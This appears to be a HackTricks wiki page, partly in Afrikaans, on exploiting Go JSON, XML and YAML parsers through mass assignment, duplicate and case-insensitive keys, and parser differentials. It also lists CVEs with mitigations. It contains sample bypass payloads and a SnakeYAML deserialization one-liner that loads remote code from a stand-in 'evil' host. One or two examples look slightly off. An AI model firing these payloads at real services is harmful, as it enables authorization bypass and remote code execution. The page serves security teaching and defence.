JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Go JSON Decoder

Die volgende kwessies is in die Go JSON opgespoor, alhoewel hulle ook in ander tale teenwoordig kan wees. Hierdie kwessies is gepubliseer in this blog post.

Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Die doel is om structs uit te buit wat 'n attacker toelaat om sensitiewe velde te lees/skryf (e.g., IsAdmin, Password).

  • Voorbeeld Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Algemene kwesbaarhede
  1. Ontbrekende tag (geen tag = veld word steeds standaard ontleed):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. Verkeerd gebruik van -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Korrekte manier om te verhoed dat 'n veld (un)marshaled word:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser-differensies

Die doel is om outorisering te omseil deur te misbruik hoe verskillende parsers dieselfde payload anders interpreteer, soos in:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Dubbele velde: Go's encoding/json neem die laaste veld.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Ander parsers (bv. Java’s Jackson) kan die eerste neem.

2. Hoofletterongevoeligheid: Go is nie hooflettergevoelig nie:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Selfs Unicode-truuks werk:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Kruis-diens onversoenbaarheid: Stel jou voor:

  • Proxy geskryf in Go
  • AuthZ-diens geskryf in Python

Aanvaller stuur:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python sien UserAction, laat dit toe
  • Go sien AdminAction, voer dit uit

Data Format Confusion (Polyglots)

Die doel is om stelsels uit te buit wat formate meng (JSON/XML/YAML) of by parserfoute oop val, soos:

  • CVE-2020-16250: HashiCorp Vault het JSON met 'n XML-parser geparseer nadat STS JSON teruggestuur het in plaas van XML.

Attacker controls:

  • The Accept: application/json header
  • Gedeeltelike beheer oor die JSON-body

Go’s XML parser parsed it anyway and trusted the injected identity.

  • Gemaakte payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Resultaat:

  • Go JSON parser: Action_2 (case-insensitive + last wins)
  • YAML parser: Action_1 (case-sensitive)
  • XML parser: parseer "Action_3" binne die string

Noemenswaardige Parser-kwesbaarhede (2023–2025)

Die volgende publieklik-uitbuitbare kwessies wys dat onveilige parsing 'n meertalige probleem is — nie net 'n Go-probleem nie.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Aangetas: org.yaml:snakeyaml < 2.0 (gebruik deur Spring-Boot, Jenkins, ens.).
  • Hoof oorsaak: new Constructor() deserialiseer willekeurige Java-klasse, wat gadget chains toelaat wat uitloop op remote-code execution.
  • One-liner PoC (sal die sakrekenaar op die kwesbare gasheer oopmaak):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Herstel / Versagting:
  1. Upgrade to ≥2.0 (gebruik SafeLoader standaard).
  2. Op ouer weergawes, gebruik uitdruklik new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Aangetas: libyaml ≤0.2.5 (C-biblioteek wat deur baie taal-bindings benut word).
  • Probleem: Calling yaml_event_delete() twice lei tot 'n double-free wat aanvallers in 'n DoS kan omskakel of, in sommige scenario's, tot heap-uitbuiting kan lei.
  • Status: Upstream het dit as “API misuse” verwyt, maar Linux-distribusies het 'n gepatchete 0.2.6 uitgery wat die pointer verdedigend na null vrymaak.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Aangetas: Tencent RapidJSON voor commit 8269bc2 (<1.1.0-patch-22).
  • Fout: In GenericReader::ParseNumber() laat ongekontroleerde rekenkunde toe dat aanvallers reuse numeriese literale saamstel wat oorloop en die heap korrupteer — wat uiteindelik privilege-escalation moontlik maak wanneer die resulterende objekgrafiek vir magtigingsbesluite gebruik word.

🔐 Versagtings (Bygewerk)

RisikoHerstel / Aanbeveling
Onbekende velde (JSON)decoder.DisallowUnknownFields()
Dubbele velde (JSON)❌ Geen herstel in stdlib — valideer met jsoncheck
Case-insensitive match (Go)❌ Geen herstel — valideer struct-tags + pre-kanoniseer insette
XML rommeldata / XXEGebruik 'n geharde parser (encoding/xml + DisallowDTD)
YAML onbekende sleutelsyaml.KnownFields(true)
Onveilige YAML deserialiseringGebruik SafeConstructor / opgradeer na SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeOpgradeer na 0.2.6 of 'n distro-gepatchte uitgawe
RapidJSON <patched commitKompileer met die nuutste RapidJSON (≥July 2024)

Sien ook

Mass Assignment Cwe 915

Verwysings

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks